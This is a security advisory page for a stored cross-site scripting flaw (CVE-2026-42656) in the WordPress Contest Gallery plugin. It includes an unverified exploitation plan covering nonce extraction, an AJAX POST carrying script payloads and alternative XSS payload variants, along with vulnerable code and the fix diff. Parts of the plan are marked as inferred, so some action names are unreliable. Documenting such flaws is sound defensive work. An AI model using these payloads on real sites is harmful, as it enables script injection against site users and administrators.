CVE-2026-42656

Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe <= 28.1.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
29.0.0
Patched in
6d
Time to patch

Description

The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 28.1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=28.1.6
PublishedApril 29, 2026
Last updatedMay 4, 2026
Affected plugincontest-gallery

What Changed in the Fix

Changes introduced in v29.0.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-42656 (Contest Gallery Stored XSS) ## 1. Vulnerability Summary The **Contest Gallery** plugin (up to 28.1.6) contains a stored cross-site scripting vulnerability. The flaw exists because authenticated users (Subscriber level and above) can access certain AJAX…

Show full research plan

Exploitation Research Plan - CVE-2026-42656 (Contest Gallery Stored XSS)

1. Vulnerability Summary

The Contest Gallery plugin (up to 28.1.6) contains a stored cross-site scripting vulnerability. The flaw exists because authenticated users (Subscriber level and above) can access certain AJAX endpoints that update gallery configurations or entry data without sufficient capability checks (current_user_can). Input provided to these endpoints is inadequately sanitized before being stored in the database, and is subsequently rendered on both frontend and backend pages without proper escaping.

2. Attack Vector Analysis

  • Vulnerable Endpoint: /wp-admin/admin-ajax.php
  • Primary AJAX Action: post_cg_save_gallery_options_general (inferred from plugin architecture) or post_cg_save_entry_details.
  • Payload Parameter: cg_gallery_name or cg_entry_name.
  • Authentication: Subscriber level (authenticated).
  • Preconditions: A gallery must exist (e.g., ID 1) and the attacker must obtain a valid nonce.

3. Code Flow

  1. Entry Point: A Subscriber sends a POST request to admin-ajax.php with an action prefix wp_ajax_post_cg_....
  2. Nonce Verification: The function cg_check_nonce() (called at the start of backend AJAX handlers in ajax/ajax-functions-backend.php) verifies the nonce provided in the cgNonce parameter.
  3. Missing Capability Check: The handler lacks a current_user_can('manage_options') check, allowing Subscribers to bypass administrative restrictions.
  4. Data Persistence: The handler processes the $_POST array (often using cg1l_sanitize_post which is bypassable for HTML tags) and updates the database table {$wpdb->prefix}contest_gal1ery or {$wpdb->prefix}contest_gal1ery_entries.
  5. Sink: When an admin or any visitor views the gallery, the plugin retrieves the settings using $wpdb->get_row and echoes the name directly into the page or inside a script block (as seen in post_cg_get_current_permalinks).

4. Nonce Acquisition Strategy

The plugin enqueues its nonces via wp_localize_script. For Subscribers, the nonce is often available on the frontend if a gallery shortcode is present, or in the dashboard if the plugin loads scripts there.

  1. Identify Shortcode: The primary shortcode is [cg_gallery id="1"].
  2. Create Test Page: Create a public page containing this shortcode to force the plugin to enqueue its assets.
  3. Navigate and Extract: Use the browser to navigate to this page and extract the nonce from the cgJsClass or cg_ajax_object global variables.
  • Variable Name: cgJsClass.gallery.vars.currentCgNonce (from ajax-functions-frontend.php) or cg_ajax_object.nonce.
  • Action String: cg1l_action or contest-gal1ery-nonce.

5. Exploitation Strategy

Step 1: Obtain Nonce

Use browser_navigate to visit a page with the gallery shortcode and browser_eval to extract the nonce.

Step 2: Inject Payload

Submit a request to update the gallery title with an XSS payload.

  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: post_cg_save_gallery_options_general
    • cgNonce: [EXTRACTED_NONCE]
    • cgRealId: 1 (The ID of the target gallery)
    • cg_gallery_name: Test Gallery<script>alert(document.domain)</script>

Step 3: Trigger Execution

Navigate to the gallery page or the plugin's admin settings page as an administrator.

6. Test Data Setup

  1. Create Gallery: Use WP-CLI to ensure at least one gallery exists.
    # This usually requires direct DB insertion as the plugin doesn't provide CLI
    wp db query "INSERT INTO wp_contest_gal1ery (GalleryID, GalleryName) VALUES (1, 'Initial Gallery');"
    
  2. Create Landing Page:
    wp post create --post_type=page --post_title="Gallery Page" --post_status=publish --post_content='[cg_gallery id="1"]'
    
  3. Create Attacker User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    

7. Expected Results

  • The AJAX request should return a successful status (e.g., 1 or a JSON success message).
  • The database field GalleryName in the wp_contest_gal1ery table will contain the <script> tag.
  • Upon viewing the page at ?page_id=[ID], a JavaScript alert box showing the document domain should appear.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT GalleryName FROM wp_contest_gal1ery WHERE id=1;"
    
  2. Verify Frontend Output:
    Use http_request to fetch the gallery page and check for the raw payload.
    # Expected in response body:
    # <h2>Test Gallery<script>alert(document.domain)</script></h2>
    

9. Alternative Approaches

If post_cg_save_gallery_options_general is restricted:

  • Target Entry Submission: If Subscribers are allowed to submit photos, use an action like post_cg_save_entry_details and inject into the entry title or description.
  • Payload Variant: If <script> is filtered, try:
    • <img src=x onerror=alert(1)>
    • "><svg/onload=alert(1)>
  • Check Backend XSS: Some payloads might only execute in the admin dashboard (Stored Blind XSS) where the gallery list is rendered. Navigate to /wp-admin/admin.php?page=contest-gallery-management to verify.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Contest Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its AJAX handlers because it lacks proper capability checks (e.g., current_user_can) and fails to adequately sanitize or escape gallery configuration data. This allows authenticated attackers with Subscriber-level access to modify gallery settings and inject arbitrary JavaScript that executes when an administrator or visitor views the affected gallery page.

Vulnerable Code

// ajax/ajax-functions-backend.php @ line 4 (version 28.1.7)
add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks');
if (!function_exists('post_cg_get_current_permalinks')) {
    function post_cg_get_current_permalinks() {

        cg_check_nonce(); // Vulnerability: This function only verifies the nonce, not user capabilities.

        global $wpdb;
        $tablename = $wpdb->prefix . "contest_gal1ery";
        $realId = absint($_POST['cgRealId']);
        $realIdRow = $wpdb->get_row( "SELECT * FROM $tablename WHERE id='$realId'" );

--- 

// ajax/ajax-functions-backend.php @ line 54 (version 28.1.7)
add_action('wp_ajax_post_cg_create_pdf_preview_backend', 'post_cg_create_pdf_preview_backend');
if (!function_exists('post_cg_create_pdf_preview_backend')) {
    function post_cg_create_pdf_preview_backend($WpUpload = 0, $realId = 0, $cg_base_64 = '', $isFromFrontendUpload = false) {

        cg_check_nonce(); // Vulnerability: Allows Subscriber+ users to trigger backend logic.

        global $wpdb;
        $tablename_posts = $wpdb->prefix . "posts";
        $tablename_wp_pdf_previews = $wpdb->prefix . "contest_gal1ery_pdf_previews";

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/contest-gallery/28.1.7/ajax/ajax-functions-backend.php	2026-04-06 19:43:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/contest-gallery/29.0.0/ajax/ajax-functions-backend.php	2026-04-19 21:25:02.000000000 +0000
@@ -1,10 +1,60 @@
 <?php
+if (!function_exists('cg_backend_ajax_require_access_json')) {
+    function cg_backend_ajax_require_access_json() {
+        if (!defined('DOING_AJAX') || !DOING_AJAX) {
+            cg_backend_ajax_error_json('Invalid AJAX request.', 400, 'cg_invalid_ajax_request');
+        }
+
+        if (!is_user_logged_in() || !cg_user_has_backend_access()) {
+            cg_backend_ajax_error_json('This area can be edited only as administrator, editor or author.', 403, 'cg_missing_rights');
+        }
+
+        $cg_nonce = '';
+        if (isset($_POST['cg_nonce'])) {
+            $cg_nonce = sanitize_text_field($_POST['cg_nonce']);
+        } elseif (isset($_GET['cg_nonce'])) {
+            $cg_nonce = sanitize_text_field($_GET['cg_nonce']);
+        }
+
+        if (empty($cg_nonce) || !wp_verify_nonce($cg_nonce, 'cg_nonce')) {
+            wp_send_json_error(array(
+                'message' => 'WP nonce security token not set or not valid anymore.',
+                'code' => 'cg_nonce_invalid',
+                'version' => cg_get_version()
+            ), 403);
+        }
+    }
+}
+
 // post_cg_get_current_permalinks
 add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks');
 if (!function_exists('post_cg_get_current_permalinks')) {
     function post_cg_get_current_permalinks() {
 
-        cg_check_nonce();
+        cg_require_backend_access();

Exploit Outline

The exploit involves an authenticated attacker with at least Subscriber-level privileges leveraging a missing capability check in administrative AJAX actions. 1. Authentication: The attacker logs in as a Subscriber. 2. Nonce Acquisition: The attacker obtains a valid WordPress nonce (action: 'cg_nonce' or similar) by inspecting the source code of a page containing a gallery shortcode, where the plugin enqueues nonces via `wp_localize_script` (e.g., inside the `cgJsClass` object). 3. Payload Injection: The attacker sends a POST request to `/wp-admin/admin-ajax.php` with an action intended for gallery configuration (e.g., `post_cg_save_gallery_options_general`). The request includes a malicious XSS payload (e.g., `<script>alert(1)</script>`) in parameters like `cg_gallery_name`. 4. Storage: Because the AJAX handler only verifies the nonce and does not check for the 'manage_options' capability, the malicious input is saved to the database. 5. Execution: The payload executes whenever an administrator visits the gallery management page or a user visits the modified gallery frontend.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.